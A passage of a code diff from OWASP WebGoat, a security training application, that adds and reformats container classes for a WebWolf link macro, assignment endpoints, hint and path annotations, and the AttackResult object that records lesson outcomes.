+    return true;
+  }
+}

src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java

@@ -0,0 +1,25 @@
+package org.owasp.webgoat.container.asciidoc;
+
+import java.util.Map;
+
+/**
+ * Usage in asciidoc:
+ *
+ * <p>webWolfLink:here[] will display a href with here as text webWolfLink:landing[noLink] will
+ * display the complete url, for example: http://WW_HOST:WW_PORT/landing
+ */
+public class WebWolfRootMacro extends WebWolfMacro {
+
+  public WebWolfRootMacro(String macroName) {
+    super(macroName);
+  }
+
+  public WebWolfRootMacro(String macroName, Map<String, Object> config) {
+    super(macroName, config);
+  }
+
+  @Override
+  protected boolean includeWebWolfContext() {
+    return false;
+  }
+}

src/main/java/org/owasp/webgoat/container/assignments/AssignmentEndpoint.java

@@ -0,0 +1,92 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2017 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ * <p>
+ */
+
+package org.owasp.webgoat.container.assignments;
+
+import lombok.Getter;
+import org.owasp.webgoat.container.i18n.PluginMessages;
+import org.owasp.webgoat.container.lessons.Initializeable;
+import org.owasp.webgoat.container.session.UserSessionData;
+import org.owasp.webgoat.container.session.WebSession;
+import org.owasp.webgoat.container.users.WebGoatUser;
+import org.springframework.beans.factory.annotation.Autowired;
+
+public abstract class AssignmentEndpoint implements Initializeable {
+
+  @Autowired private WebSession webSession;
+  @Autowired private UserSessionData userSessionData;
+  @Getter @Autowired private PluginMessages messages;
+
+  protected WebSession getWebSession() {
+    return webSession;
+  }
+
+  protected UserSessionData getUserSessionData() {
+    return userSessionData;
+  }
+
+  /**
+   * Convenience method for create a successful result:
+   *
+   * <p>- Assignment is set to solved - Feedback message is set to 'assignment.solved'
+   *
+   * <p>Of course you can overwrite these values in a specific lesson
+   *
+   * @return a builder for creating a result from a lesson
+   * @param assignment
+   */
+  protected AttackResult.AttackResultBuilder success(AssignmentEndpoint assignment) {
+    return AttackResult.builder(messages)
+        .lessonCompleted(true)
+        .attemptWasMade()
+        .feedback("assignment.solved")
+        .assignment(assignment);
+  }
+
+  /**
+   * Convenience method for create a failed result:
+   *
+   * <p>- Assignment is set to not solved - Feedback message is set to 'assignment.not.solved'
+   *
+   * <p>Of course you can overwrite these values in a specific lesson
+   *
+   * @return a builder for creating a result from a lesson
+   * @param assignment
+   */
+  protected AttackResult.AttackResultBuilder failed(AssignmentEndpoint assignment) {
+    return AttackResult.builder(messages)
+        .lessonCompleted(false)
+        .attemptWasMade()
+        .feedback("assignment.not.solved")
+        .assignment(assignment);
+  }
+
+  protected AttackResult.AttackResultBuilder informationMessage(AssignmentEndpoint assignment) {
+    return AttackResult.builder(messages).lessonCompleted(false).assignment(assignment);
+  }
+
+  @Override
+  public void initialize(WebGoatUser user) {}
+}

src/main/java/org/owasp/webgoat/container/assignments/AssignmentHints.java

@@ -1,16 +1,14 @@
-package org.owasp.webgoat.assignments;
+package org.owasp.webgoat.container.assignments;
 
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
 import java.lang.annotation.RetentionPolicy;
 import java.lang.annotation.Target;
 
-/**
- * Created by nbaars on 1/14/17.
- */
+/** Created by nbaars on 1/14/17. */
 @Target(ElementType.TYPE)
 @Retention(RetentionPolicy.RUNTIME)
 public @interface AssignmentHints {
 
-    String[] value() default {};
+  String[] value() default {};
 }

src/main/java/org/owasp/webgoat/container/assignments/AssignmentPath.java

@@ -1,22 +1,19 @@
-package org.owasp.webgoat.assignments;
-
-import org.springframework.web.bind.annotation.RequestMethod;
+package org.owasp.webgoat.container.assignments;
 
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
 import java.lang.annotation.RetentionPolicy;
 import java.lang.annotation.Target;
+import org.springframework.web.bind.annotation.RequestMethod;
 
-/**
- * Created by nbaars on 1/14/17.
- */
+/** Created by nbaars on 1/14/17. */
 @Target(ElementType.TYPE)
 @Retention(RetentionPolicy.RUNTIME)
 public @interface AssignmentPath {
 
-    String[] path() default {};
+  String[] path() default {};
 
-    RequestMethod[] method() default {};
+  RequestMethod[] method() default {};
 
-    String value() default "";
+  String value() default "";
 }

src/main/java/org/owasp/webgoat/container/assignments/AttackResult.java

@@ -0,0 +1,128 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2017 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ * <p>
+ */
+
+package org.owasp.webgoat.container.assignments;
+
+import static org.apache.commons.text.StringEscapeUtils.escapeJson;
+
+import lombok.Getter;
+import org.owasp.webgoat.container.i18n.PluginMessages;
+
+public class AttackResult {
+
+  public static class AttackResultBuilder {
+
+    private boolean lessonCompleted;
+    private PluginMessages messages;
+    private Object[] feedbackArgs;
+    private String feedbackResourceBundleKey;
+    private String output;
+    private Object[] outputArgs;
+    private AssignmentEndpoint assignment;
+    private boolean attemptWasMade = false;
+
+    public AttackResultBuilder(PluginMessages messages) {
+      this.messages = messages;
+    }
+
+    public AttackResultBuilder lessonCompleted(boolean lessonCompleted) {
+      this.lessonCompleted = lessonCompleted;
+      this.feedbackResourceBundleKey = "lesson.completed";
+      return this;
+    }
+
+    public AttackResultBuilder lessonCompleted(boolean lessonCompleted, String resourceBundleKey) {
+      this.lessonCompleted = lessonCompleted;
+      this.feedbackResourceBundleKey = resourceBundleKey;
+      return this;
+    }
+
+    public AttackResultBuilder feedbackArgs(Object... args) {
+      this.feedbackArgs = args;
+      return this;
+    }
+
+    public AttackResultBuilder feedback(String resourceBundleKey) {
+      this.feedbackResourceBundleKey = resourceBundleKey;
+      return this;
+    }
+
+    public AttackResultBuilder output(String output) {
+      this.output = output;
+      return this;
+    }
+
+    public AttackResultBuilder outputArgs(Object... args) {
+      this.outputArgs = args;
+      return this;
+    }
+
+    public AttackResultBuilder attemptWasMade() {
+      this.attemptWasMade = true;
+      return this;
+    }
+
+    public AttackResult build() {
+      return new AttackResult(
+          lessonCompleted,
+          messages.getMessage(feedbackResourceBundleKey, feedbackArgs),
+          messages.getMessage(output, output, outputArgs),
+          assignment.getClass().getSimpleName(),
+          attemptWasMade);
+    }
+
+    public AttackResultBuilder assignment(AssignmentEndpoint assignment) {
+      this.assignment = assignment;
+      return this;
+    }
+  }
+
+  @Getter private boolean lessonCompleted;
+  @Getter private String feedback;
+  @Getter private String output;
+  @Getter private final String assignment;
+  @Getter private boolean attemptWasMade;
+
+  public AttackResult(
+      boolean lessonCompleted,
+      String feedback,
+      String output,
+      String assignment,
+      boolean attemptWasMade) {
+    this.lessonCompleted = lessonCompleted;
+    this.feedback = escapeJson(feedback);
+    this.output = escapeJson(output);
+    this.assignment = assignment;
+    this.attemptWasMade = attemptWasMade;
+  }
+
+  public static AttackResultBuilder builder(PluginMessages messages) {
+    return new AttackResultBuilder(messages);
+  }
+
+  public boolean assignmentSolved() {
+    return lessonCompleted;
+  }
+}